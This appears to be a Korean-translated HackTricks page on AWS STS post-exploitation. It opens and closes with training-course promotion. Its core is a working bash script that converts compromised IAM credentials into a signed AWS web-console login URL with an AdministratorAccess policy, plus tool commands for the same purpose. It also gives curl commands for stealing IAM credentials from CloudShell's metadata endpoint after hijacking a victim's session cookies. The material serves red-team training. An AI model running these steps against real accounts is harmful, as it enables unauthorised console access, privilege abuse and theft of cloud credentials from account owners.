AWS - STS Post Exploitation

htARTE (HackTricks AWS Red Team Expert)을 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!

HackTricks를 지원하는 다른 방법:

STS

더 많은 정보:

IAM 자격 증명에서 콘솔로

일부 IAM 자격 증명을 획득했다면 다음 도구를 사용하여 웹 콘솔에 액세스하는 것에 관심이 있을 수 있습니다. 사용자/역할은 sts:GetFederationToken 권한을 가져야 합니다.

사용자 지정 스크립트

다음 스크립트는 기본 프로필과 기본 AWS 위치(정부 및 중국 제외)를 사용하여 웹 콘솔에 로그인할 수 있는 서명된 URL을 제공합니다:

# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)

if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
exit $status
fi

# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')

# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")

# Define the AWS federation endpoint
federation_endpoint="https://signin.aws.amazon.com/federation"

# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)



# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"

aws_consoler

https://github.com/NetSPI/aws_consoler를 사용하여 웹 콘솔 링크를 생성할 수 있습니다.

cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console

IAM 사용자가 sts:GetFederationToken 권한을 가지고 있는지 확인하거나 가정할 역할을 제공하십시오.

aws-vault

aws-vault은 개발 환경에서 AWS 자격 증명을 안전하게 저장하고 액세스하는 도구입니다.

aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith

aws-vault를 사용하여 브라우저 콘솔 세션을 얻을 수도 있습니다.

콘솔에서 IAM 자격 증명으로

원래 이 게시물에서 발견됨, 웹 콘솔에 액세스 권한을 어떻게든 탈취했다면(아마도 쿠키를 훔쳤고 .aws 폴더에 액세스할 수 없었을 수도 있음), CloudShell을 통해 해당 사용자의 IAM 토큰 자격 증명을 얻을 수 있습니다.

CloudShell은 포트 1338에서 IAM 자격 증명을 노출시킵니다. 피해자의 세션 쿠키를 브라우저로로드한 후, CloudShell로 이동하여 다음 명령을 실행하여 IAM 자격 증명을 얻을 수 있습니다.

TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
curl localhost:1338/latest/meta-data/container/security-credentials -H "X-aws-ec2-metadata-token: $TOKEN"
htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요 htARTE (HackTricks AWS Red Team Expert)!

다른 방법으로 HackTricks를 지원하는 방법:

最終更新